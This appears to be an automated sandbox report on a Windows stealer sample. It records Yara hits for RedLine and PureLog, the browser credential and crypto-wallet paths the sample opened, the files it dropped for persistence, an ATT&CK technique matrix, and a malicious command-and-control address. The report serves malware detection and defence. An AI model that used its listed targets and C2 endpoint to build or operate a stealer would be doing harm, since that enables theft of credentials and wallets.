Source: Yara match	File source: 0.2.file.exe.4800ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45edbe6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45edbe6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45eccfe.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.7590000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45eccfe.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3280253389.00000000045AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3280551668.0000000004800000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3289464221.0000000007590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000005D.00000003.2800628651.0000000007379000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079601696.0000000006D61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mig.exe PID: 6220, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\1.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum\walletsE#
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: file.exe, 00000000.00000002.3280253389.00000000045AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6472, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.file.exe.7590000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45edbe6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45edbe6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45eccfe.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.7590000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45eccfe.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3280253389.00000000045AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3280551668.0000000004800000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3289464221.0000000007590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079601696.0000000006D61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.file.exe.7590000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45edbe6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45edbe6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45eccfe.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.7590000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45eccfe.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3280253389.00000000045AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3280551668.0000000004800000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3289464221.0000000007590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000005D.00000003.2800628651.0000000007379000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079601696.0000000006D61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mig.exe PID: 6220, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\1.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe, type: DROPPED

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C5DA3 bind,WSAGetLastError,	16_2_00007FF8A87C5DA3
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA24622C _PyArg_ParseTuple_SizeT,PyEval_SaveThread,listen,PyEval_RestoreThread,_Py_NoneStruct,_Py_NoneStruct,	16_2_00007FF8BA24622C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA2420F0 _PyArg_ParseTuple_SizeT,htons,htonl,PySys_Audit,PyEval_SaveThread,bind,PyEval_RestoreThread,_Py_NoneStruct,_Py_NoneStruct,PyExc_OSError,PyExc_TypeError,PyErr_Format,PyExc_OverflowError,PyErr_ExceptionMatches,PyExc_OverflowError,PyErr_Format,_Py_Dealloc,_PyArg_ParseTuple_SizeT,_Py_Dealloc,htons,	16_2_00007FF8BA2420F0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	221 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	411 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Native API	1 DLL Side-Loading	1 DLL Side-Loading	111 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Service Discovery	Remote Desktop Protocol	3 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	33 Windows Service	1 Access Token Manipulation	4 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	33 Windows Service	23 Software Packing	NTDS	136 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	22 Service Execution	12 Registry Run Keys / Startup Folder	11 Process Injection	1 Timestomp	LSA Secrets	371 Security Software Discovery	SSH	Keylogging	111 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	1 Services File Permissions Weakness	1 Scheduled Task/Job	1 DLL Side-Loading	Cached Domain Credentials	241 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	12 Registry Run Keys / Startup Folder	11 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Services File Permissions Weakness	241 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Services File Permissions Weakness	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\MicrosoftSystem\Wmiic.exe	100%	Avira	HEUR/AGEN.1321051
C:\Users\mig.exe	100%	Joe Sandbox ML
C:\ProgramData\1.exe	100%	Joe Sandbox ML
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe	100%	Joe Sandbox ML
C:\ProgramData\1.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\ProgramData\MicrosoftSystem\Wmiic.exe	68%	ReversingLabs	Win64.Hacktool.Nssm
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\ProgramData\migrate.exe	8%	ReversingLabs
C:\Windows\Temp\_MEI65122\VCRUNTIME140.dll	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\_bz2.pyd	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\_ctypes.pyd	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\_hashlib.pyd	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\_lzma.pyd	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\_socket.pyd	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\_ssl.pyd	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\libcrypto-1_1.dll	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\libffi-7.dll	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\libssl-1_1.dll	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\python38.dll	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\select.pyd	0%	ReversingLabs
C:\Windows\Temp\_MEI65122\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
http://tempuri.org/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	0%	Avira URL Cloud	safe
147.45.78.229:43674	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id23ResponseD	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id2Response	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	0%	Avira URL Cloud	safe
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21Response	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id6ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wsat	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id1ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	0%	Avira URL Cloud	safe
http://purl.oen6	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	Avira URL Cloud	safe
http://crl.mic;	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id8Response	0%	Avira URL Cloud	safe
https://mahler:8092/site-updates.py	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	0%	Avira URL Cloud	safe
http://bitbucket.org/techtonik/python-wget/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	0%	Avira URL Cloud	safe
http://tempuri.org/D	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13Response	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/06/addressingex	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id7ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id4ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22Response	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2002/12/policy	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id16ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id19ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/sc	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	0%	Avira URL Cloud	safe
https://www.openssl.org/H	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id18Response	0%	Avira URL Cloud	safe
http://greenbytes.de/tech/tc2231/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id3Response	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id14ResponseD	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
147.45.78.229:43674	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id23ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id12Response	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id21Response	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	svchosl.exe, 00000010.00000002.3275747889.000002130587E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id6ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id13ResponseD	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id15Response	file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000063.00000002.2775834529.0000000004EA5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://purl.oen6	file.exe, 00000000.00000003.2286126456.000000000AF31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3300621958.000000000AF40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/ip	mig.exe, 0000005D.00000003.2800628651.0000000007379000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1ResponseD	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
